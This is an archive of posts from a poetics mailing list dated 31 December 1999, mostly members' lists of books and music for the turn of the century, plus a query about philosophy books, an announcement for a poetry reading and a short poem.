Cecil Taylor, ALWAYS A PLEASURE cd

and on and on....

Cheers,

Gerald Schwartz

↑ Index

325. **David Baptiste Chirot**
Re: end of century reading material
Fri 31 Dec 1999

---

in the spirit of the traveling exhibitions CHIAPAS: LA PRIMERA REVOLUCION SOCIAL DEL III MILENIO and LIBERTAD EN LA ENSENANZA DE LOS ARTES: LA INFLUENCIA DE LOS REGIMS AUTORITARIOS--

HOUSE OF THE DEAD: F. Dostoevsky
SOLEDAD BROTHER George Jackson
GUADALUPE: MOTHER OF THE NEW CREATION Virgil Elizondo
ESPANA, APARTA DE MI ESTE CALIZ Cesar Vallejo
EL MEXICANO! JOURNAL GUERILLA DE LA GUERRE CIVILE EN ESPANGNE F. Perez
Lopez
CATAFALQUES POEMS 1987-1989 Eric Basso
SPECIMEN DAYS Walt Whitman
SELECTED WRITINGS Che Guevara
MAYAKOVSKY AND HIS CIRCLE Victor Shlovsky
ZAUM: THE TRANSRATIONAL POETRY OF RUSSIAN FUTURISM Gerald Janecek
POESIA EXPERIMENTAL Clemente Padin
THE LONG LONELINESS: THE AUTOBIOGRAPHY OF THE LEGENDARY CATHOLIC
SOCIAL ACTIVIST Dorothy Day
THE DEATH OF JIM LONEY James Welch
OUEVRES Francois Villon
OFFENDER HANDBOOK State of Wisconsin Department of Corrections Division of
Community Corrections
UNITED STATES CODE ANNOTATED TITLE 25 INDIANS
BENEATH THE UNDERDOG Charles Mingus
FOR BREAD ALONE Mohamed Choukri
THINGS FALL APART Chinua Achebe

two films:

ANDREI RUBLEV D. Andrei Tarkovsky
AGUIRRE DER ZORN GOTTES W. Herzog

music

AMAZON Nana Vasconcelos
EL CORAZON Don Cherry & Ed Blackwell
SONNY'S TIME NOW Sonny Murray, Don Cherry and others--one side

with "Leroi Jones" reading
THE COMPLETE BLIND WILLIE JOHNSON
MALCOLM X Speeches (excerpts)
EAGLEYE CHERRY
HANK WILLIAMS: COMPLETE SINGLES COLLECTION
DICK DALE: TRIBAL THUNDER
GEORGE JONES: THE BRADLEY BARN SESSIONS; HARDCORE HONKY TONK
ETTA JAMES: PEACHES
BACK TO THE STREETS: CELEBRATING THE MUSIC OF DON COVAY
DESPEARTE ROCK AND ROLL Vols 1-15

dbchirot

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326. Tom Beckett
Re: end of century reading material
Fri 31 Dec 1999

Harp Song for a Radical: The Life and Times of Eugene Victor Debs by Marguerite Young

The Arcades Project by Walter Benjamin

Gilles Deleuze and the Ruin of Representation by Dorothea Olkowski

Imagining Language ed. by Rasula and McCaffery

CDs:

The John Adams Earbox

The Melody at Night with You (solo jazz piano) by Keith Jarrett

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327. charles alexander
query re philosophy books
Fri 31 Dec 1999

For those of you who may be teaching philosophy, or poetry & philosophy, or others --

My father-in-law has expressed a recent interest in reading philosophy, perhaps partly influenced by his advancing age and brushes with health problems in the last year. He has not read much philosophy or literature in the past, but is an intelligent reader. He also has a birthday coming up.

So I would like to give him one or two basic books or introductions to philosophy -- maybe one to the history of philosophy and one to 20th century philosophy; from there he can read individual authors' works as he wishes. But I really don't know of any great introductory books in this field. From some web searching I have found the following titles --

Introduction to Philosophy : Classical and Contemporary Readings by John Perry (Editor), Michael Bratman (Editor)

What Does It All Mean : a Very Short Introduction to Philosophy by Thomas Nagel

The Great Philosophers : An Introduction to Western Philosophy by Bryan Magee

Does the Center Hold? : An Introduction to Western Philosophy by Donald Palmer

Does anyone have any recommendations or anti-recommendations for these or any other related books?

thanks to all for any advice whatsoever,
and best wishes to all on this new year's eve, which is my first day
backon the poetics list in many many months,

charles

↑ Index

328. Charles Bernstein
Subtext presents Jen Hofer and Bryant Mason on Jan. 5th
Fri 31 Dec 1999

Forward. Note this reading is in Vancouver, BC

From: "R. Bryant Mason" <[redacted]>
Subject: Subtext presents Jen Hofer and Bryant Mason on Jan. 5th
Date: Thu, 30 Dec 1999 22:49:51 -0800

Subtext continues its monthly series of experimental writing with readings by Jen Hofer and Bryant Mason on Wednesday, January 5, 2000 at the Richard Hugo House. Suggested donations for admission are $5 at the door on the evening of the performance.

Jen Hofer is a poet and translator originally from the San Francisco Bay Area. She currently lives in Mexico City, where she is editing and translating an anthology of contemporary poetry by Mexican women that will be co-published by University of Pittsburgh Press and Hotel Ambosmundos Press. Her translations and poems can be found in recent or shortly forthcoming issues of Explosive,

Facture, Kenning, Rhizome, Skanky Possum and in her a+bend press chapbook as far as. Recently, she and her fiddle have joined forces with the visual artist Melissa Dyne, forming Groundzero Telesonic Outfit International.

Bryant Mason is a long time member of the Subtext collective. His work has been variously described as "lightheartedly paranormal" and "born of an almost religious fervor." He promises to leave his Ukulele at home.

Also this January, a special pre-reading event: Subtext's "silent open mic." A full twenty minutes before the reading you will experience a multi-media slide show extravaganza that incorporates projected texts, images, and the anonymous sounds of DJ Yum Yum. For more information about the slide show and how to submit art and text, e-mail <[redacted]>.

Look to the future, Subtext presents Bay Area poet Carla Harryman on February 2nd. Also reading will be Jeanne Heuving.

Subtext readings fall on the 1st Wednesday of the month at the Richard Hugo House. The Hugo House is located at 1634 11th Ave on Capitol Hill in Seattle. Subtext events are co-sponsored by the Richard Hugo House.

Bryant Mason
Subtext

↑ Index

329. **Herb Levy**
Re: Subtext presents Jen Hofer and Bryant Mason on Jan. 5th
Fri 31 Dec 1999

Hi,

Unless Bryant moved further than just across the street last month, This reading is in Seattle where he works with the Subtext collective, rather than in BC.

Bests,

Herb

> *Forward. Note this reading is in Vancouver, BC*
>
> *From: "R. Bryant Mason" <[redacted]>*
> *Subject: Subtext presents Jen Hofer and Bryant Mason on Jan. 5th*
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>
> *Bryant Mason*
> *Subtext*

--

Herb Levy
NEW MAILING ADDRESS: P O Box 9369 Forth Wort, TX 76147
NEW PHONE: 817 [redacted]
same old e-mail: [redacted]

↑ Index

330. Maria Damon

Re: POETICS Digest - 27 Dec 1999 to 29 Dec 1999 (#1999-238)

Fri 31 Dec 1999

---

thanks bob every piece of info helps. hope yr well at this turn of time into the future...md

At 5:09 AM -0500 12/31/99, [redacted] wrote:
>In a message dated 12/30/99 12:07:44 AM Eastern Standard Time,
>[redacted] writes:

>
><< Date: Mon, 27 Dec 1999 13:57:20 -0600
> From: Maria Damon <[redacted]>
> Subject: d.a.levy
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> hi, i'm giving buddhist third class junkmail oracle a read...i find it very
> depressing...like reading minima moralia...reading the brilliant
> outpourings of someone who doesn't want to be alive and has no sense of
> humor about it...can someone help me? >>
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>Dear Maria,
>
>Death no parenthesis etc.
>
>That levy was hounded to death by CoIntelPro - 15-year old girl wired to
>record a reading he gave in a church basement!
>That he came under investigation because he was a Grand BooHoo in the
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>religion but whose pataphysical hierarchy gave FBI something to believe in
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>My students at Bard couldn't get enough of him.
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>After years of battling against the image of die-young romantapoet, I'm
>coming to terms with levy, Frank Stanford, Larry Neal, Steven Jesse Bernstein
>as repping some lineage, American grain .
>
>Love,
>
>BobH

↑ Index

331. Randy Prunty
Re: end of century reading material
Fri 31 Dec 1999

---

my list:

George Oppen, Collected Poems
Tom Phillips, Works and Texts
Why we feel: the science of human emotions, Victor Johnson
Helen Keller or Arakawa, by Madeline Gins (great book!)
Other: British and Irish Poetry, ed. Caddel and Quartermain
Philosophy in the Flesh, Lakoff and Johnson
The World is Round, Gertrude Stein
Translating the Unspeakable, Kathleen Fraser

cheers
randy prunty

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332. Lynn Langmade
Re: end of century reading material
Fri 31 Dec 1999

A lurker rears her ugly head...

Books

Soren Kierkegaard; The Concept of Irony, With Continual Reference to Socrates
Wassily Kandinsky: Point & Line To Plane
Leonard Shlain: The Alphabet Versus The Goddess, The Conflict Between Word and Image
Paul Levinson: digital mcluhan
George Oppen: Collected Poems
Brenda Hillman: Death Tractates
Diane Zak, Visual Basic 6.0

CDs

Siouxsie & The Banshees, Join Hands
Siouxsie & the Banshees, juju
PJ Harvey, 4-Track Demos
PJ Harvey, Is this Desire?
Moby, Animal Rights
Mozart, Serenade in B Flat Major, K 361, "Gran Partita"
Sinead O'Connor, The Lion & The Cobra

John Coltrane, My Favorite Things
The Sisters of Mercy; Floodland
Leslie Bricusse, Willy Wonka & The Chocolate Factory
Cibo Matto, Viva! La Woman
Debussy, Children's Corner
Kristen Hersh, Throwing Muses..ilk, Hips & Makers
L7, Hungry for Stink
Nymphs, Self Titled
Sebadoh, Bakesale
Nina Simone...everything
Pink Floyd, Animals

Videos

Selections from the George Balanchine Library, Jewels, Tzigane, Andante from divertimento No.15, Prodigal Son, Ballo dell Regina

----- Original Message -----
From: Arielle C. Greenberg <[redacted]>
To: <[redacted]>
Sent: Thursday, December 30, 1999 11:38 AM
Subject: end of century reading material

> I got a posting from someone asking what everyone was reading now, at the
> end of the century, which I thought was such a lovely idea, until I
> realized that posting came from a different list I'm on. So I'm
> introducing the idea here. Bedside stacks, circa the flip of the nines to
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> I'm particularly excited to answer this myself, since as I write I am also
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> cabin. My house is stocked with books I bought in 99 and never had a
> chance to read, so what to bring?
>
> Possible selections include:
> Journals I bought from SPD: Volt, Big Allis, New American Writing, The
> Hat, Fourteen Hills, American Letters & Commentary
> Many new Barbara Guest books
> The New American Poetry anthology I finally own
> Wang Ping's Of Flesh and Spirit
> French Symbolist Poetry anthology
> New issue of Fence
> Jena Osman's The Character
> Plus novels I never got to read: Everlasting Story of Nory by Baker, The

> Saskiad by Hall
> Pride & Prejudice, which sig oth and I are reading out loud to one another
> nightly
>
>
> Also coming:
> ingredients for tofu/mushroom thai curry
> champagne, bien sur!
> the new Stephin Merritt/Dolly Parton/Beastie Boys cds
> pancake mix
> videos: Modern Times (Chaplin), Rules of the Game (Renoir), 2001
> (Kubrick), Irma Vep (Assayas), Philadelphia Story (Cukor)
>
>
> noisemakers for everyone! see you in the meltdown...
> Arielle
>
>
>
****
> "I thought numerous gorgeous sadists would write me plaintive appeals, but
> time has gone by me. They know where to get better looking boots than I
> describe." -- Ray Johnson
>

↑ Index

333. **Maria Damon**
Re: end of century reading material
Fri 31 Dec 1999

---

okay.

booksies:
d a levy, buddhist 3rd class junk mail oracle
philippe lacoue-labarthe, poetry as experience
the new york times american heritage cookbook
various works in progress by friends and students, cindluing i mean including:
essay by dave roediger on surrealism in Black texts
essAy by walter lew on frances chung (it's good walter i'll get back to you
later in more detail)
essays on bob kaufman by various groovoids

ceedees:
lama's chant
gyuto monks
alain stivell
roy hargrove
cesaria evora

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334. David Knoebel
Oh
Fri 31 Dec 1999

Of course I knew

It started in New York
City when that ball
landed
at Times Square,
and bounced
hour by hour
west to San Francisco.

I never imagined time
rolling 'round the Earth
on the edge
of a shadow
pushing the new
incessantly
west from Kiribati.

--
David Knoebel
http://www.clickpoetry.com

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335. George Bowering
Re: end of century reading material
Fri 31 Dec 1999

This what are you reading right now business shows up on this list about three times a year.

I am always amazed that most respondees are reading eight or ten books at once. I just cant handle that many at once. At the moment I am reading D.G.

Jones's new book of poems entitled _Grounding Sight_ and Beckett's _Eleuthera_.

George Bowering.

fax: [redacted]

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336. Steven Marks
Re: end of century reading material
Fri 31 Dec 1999

Books:
Imagining Language, Rasula and McCaffery (highly recommended)
Of Grammatology, Derrida
A Frolic of His Own, Gaddis (just finished)

CDs: (highly influenced by my wife)
Dick Dale & the Del-Tones
Masada, John Zorn
Annie Lennox
REM
PJ Harvey
Beth Orton
Sinead O'Connor
P-Funk

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